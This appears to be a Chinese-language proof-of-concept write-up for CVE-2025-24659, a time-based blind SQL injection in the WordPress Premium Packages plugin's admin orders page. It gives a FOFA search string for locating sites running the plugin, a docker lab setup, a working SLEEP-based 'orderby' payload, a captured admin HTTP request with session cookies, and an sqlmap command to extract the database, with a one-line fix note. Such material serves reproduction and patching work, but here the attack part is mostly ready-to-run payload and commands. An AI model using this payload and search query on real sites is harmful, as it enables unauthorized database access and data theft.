Wordpress wpdm-premium-packages SQL注入漏洞(CVE-2025-24659) POC

插件介绍：

Premium Packages 是一款免费的全功能 WordPress 电子商务插件，可轻松销售数字产品。

漏洞描述：

Premium Packages - Sell Digital Products Securely plugin 5.9.6 及以下版本存在 SQL 注入漏洞。该漏洞是由于在插件仪表板的订单菜单 (/wp-admin/
edit.php?post_type=wpdmpro&page=orders)
中查看订单列表时，URL 参数 orderby 未进行充分转义造成的。

因此，拥有管理员权限的攻击者可以利用此漏洞访问目标网站数据库中存储的所有信息。

此外，虽然此 SQL 注入漏洞无法直接从响应数据中检索数据，但可以使用基于时间的盲 SQL 注入技术提取信息，该技术利用 SQL 查询中基于真/假条件的响应时间差异。

影响版本：

Premium Packages – Sell Digital Products Securely <= 5.9.6

FOFA:

body="/wp-content/plugins/wpdm-premium-packages/"

环境搭建：

使用docker 容器进行搭建，
docker-compose.yml
文件内容如下：

services:   db:     image: mysql:8.0.27     command: '--default-authentication-plugin=mysql_native_password'     restart: always     environment:       - MYSQL_ROOT_PASSWORD=somewordpress       - MYSQL_DATABASE=wordpress       - MYSQL_USER=wordpress       - MYSQL_PASSWORD=wordpress     expose:       - 3306       - 33060   wordpress:     image: wordpress:6.3.2     ports:       - 80:80     restart: always     environment:       - WORDPRESS_DB_HOST=db       - WORDPRESS_DB_USER=wordpress       - WORDPRESS_DB_PASSWORD=wordpress       - WORDPRESS_DB_NAME=wordpress volumes:   db_data:

执行如下命令，开启靶场

docker-compose up -d

访问目标地址，依次进行如下安装即可。

输入账户密码进入后台

下载插件,插件下载地址如下：

https://downloads.wordpress.org/plugin/wpdm-premium-packages.5.8.3.zip

这个插件可以直接安装

安装完成，进行激活

激活后提示需要插件Download Manager，下载地址如下：

https://downloads.wordpress.org/plugin/download-manager.3.3.03.zip

下载完插件，进行解压，执行如下命令将插件复制到容器中

启用即可

漏洞复现：

该漏洞利用需要管理员权限

POC 如下：

http://192.168.41.163/wp-admin/

edit.php?post_type=wpdmpro&page=orders&orderby=1

 AND (SELECT 7983 FROM (SELECT(SLEEP(5)))qdHe)

使用burpsuite抓包，修改请求包如下,并保存为
2.txt

GET /wp-admin/

edit.php?post_type=wpdmpro&page=orders&orderby=1

 HTTP/1.1 Host: 192.168.41.163 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: wordpress_f1eea889000b4a4917f74c2cbe4e9f86=admin%7C1744940098%7CZKB4BCEAVN1jfgqf9eU3WKwu3kvrHXZMnCsrcft0kAg%7Ce17d11f423d876a87efae328fdb1fdf8f90b1f3e503fe962e52eea3d19287a6b; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_f1eea889000b4a4917f74c2cbe4e9f86=admin%7C1744940098%7CZKB4BCEAVN1jfgqf9eU3WKwu3kvrHXZMnCsrcft0kAg%7C9ee41a9342f47fb6129b1b98e5fb6ab2c0b9b19336bf4ad8a45560f39c127a5c; wp_lang=zh_CN; wp-settings-time-1=1744768424; __wpdm_client=4a09d42fd1ebd5f77aecf62a3f750422 Upgrade-Insecure-Requests: 1 Priority: u=0, i

直接使用sqlmap 跑数据

python

sqlmap.py

 -r

2.txt

 --batch

漏洞修复：

升级至最新版